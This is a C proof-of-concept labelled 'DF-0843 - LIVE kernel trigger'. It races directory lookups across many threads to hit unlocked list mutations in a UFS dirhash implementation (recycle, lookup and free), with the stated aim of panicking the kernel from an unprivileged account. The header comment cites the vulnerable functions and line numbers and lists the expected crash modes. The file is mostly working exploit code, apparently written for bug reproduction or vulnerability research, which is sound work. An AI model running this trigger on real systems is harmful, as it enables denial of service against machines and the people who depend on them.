/*
 * DF-0843 - LIVE kernel trigger.
 *
 * Hammers the global ufsdirhash_list from many threads doing concurrent
 * directory builds / lookups / recycles on a UFS filesystem, in order to
 * trip the unlocked races in sys/vfs/ufs/ufs_dirhash.c:
 *
 *   - ufsdirhash_recycle()  :937/:948/:951/:962  mutates the global list
 *     and a VICTIM inode's dh_hash with no lock on the victim.
 *   - ufsdirhash_lookup()   :313-315/:318/:356  concurrent TAILQ mutation
 *     + DH_ENTRY double-deref through possibly-freed dh_hash.
 *   - ufsdirhash_free()     :252  TAILQ_REMOVE with no global lock.
 *
 * Expected effect on a default GENERIC (INVARIANTS ON) kernel:
 *   - panic from a wild pointer in TAILQ_FIRST / slab corruption, OR
 *   - panic from dereferencing 0xdeadc0de-poisoned freed dh_hash, OR
 *   - NULL-deref after recycle sets dh_hash=NULL mid-lookup.
 *
 * Pre-conditions (set up by run.sh as root, then this runs as the
 * unprivileged user):
 *   - a UFS filesystem mounted at <basedir> and chowned to the user
 *   - vfs.ufs.dirhash_maxmem set LOW so recycle churns constantly
 *   - many directories each with >= ufs_mindirhashsize bytes of entries
 *
 * Usage: ./trigger <basedir> <ndirs> <nthreads> <seconds>
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <dirent.h>
#include <sys/stat.h>
#include <time.h>
#include <errno.h>

static char   *g_base;
static int     g_ndirs;
static volatile int g_stop;

/* stat'ing entries forces ufsdirhash_lookup() per entry, which is the
 * concurrent reader racing recycle's mutation of the global list. */
static void pound_dir(int didx) {
    char path[512];
    char name[64];
    struct stat st;
    int i;

    snprintf(path, sizeof(path), "%s/d%05d", g_base, didx);
    DIR *d = opendir(path);
    if (!d) return;
    /* readdir forces the directory's dirhash to build (if not present)
     * and exercises ufsdirhash_lookup per entry. */
    struct dirent *de;
    char full[640];
    while ((de = readdir(d)) != NULL) {
        if (de->d_name[0] == '.') continue;
        snprintf(full, sizeof(full), "%s/%s", path, de->d_name);
        stat(full, &st);   /* another ufsdirhash_lookup hit */
    }
    closedir(d);
    /* also stat by synthesized names -> more lookup pressure / cache miss */
    for (i = 0; i < 40; i++) {
        snprintf(name, sizeof(name), "f%04d", i);
        snprintf(full, sizeof(full), "%s/%s", path, name);
        stat(full, &st);
    }
}

static void *worker(void *arg) {
    unsigned seed = (unsigned)(uintptr_t)arg ^ (unsigned)time(NULL);
    long iters = 0;
    while (!g_stop) {
        int didx = rand_r(&seed) % g_ndirs;
        pound_dir(didx);
        iters++;
    }
    return (void *)(uintptr_t)iters;
}

int main(int argc, char **argv) {
    if (argc < 5) {
        fprintf(stderr, "usage: %s <basedir> <ndirs> <nthreads> <seconds>\n",
                argv[0]);
        return 2;
    }
    g_base   = argv[1];
    g_ndirs  = atoi(argv[2]);
    int nth  = atoi(argv[3]);
    int secs = atoi(argv[4]);
    if (nth < 1) nth = 1;

    fprintf(stderr, "DF-0843 trigger: base=%s ndirs=%d threads=%d seconds=%d\n",
            g_base, g_ndirs, nth, secs);
    fprintf(stderr, "(racing ufsdirhash_recycle/lookup/free on the global list)\n");

    g_stop = 0;
    pthread_t *th = calloc(nth, sizeof(*th));
    for (int i = 0; i < nth; i++)
        pthread_create(&th[i], NULL, worker, (void *)(uintptr_t)(i+1));

    sleep(secs);
    g_stop = 1;

    long total = 0;
    for (int i = 0; i < nth; i++) {
        void *r; pthread_join(th[i], &r); total += (long)(uintptr_t)r;
    }
    fprintf(stderr, "trigger done: %ld dir-pound iterations across %d threads\n",
            total, nth);
    printf("OK: trigger completed without panic (race may need more iterations)\n");
    return 0;
}
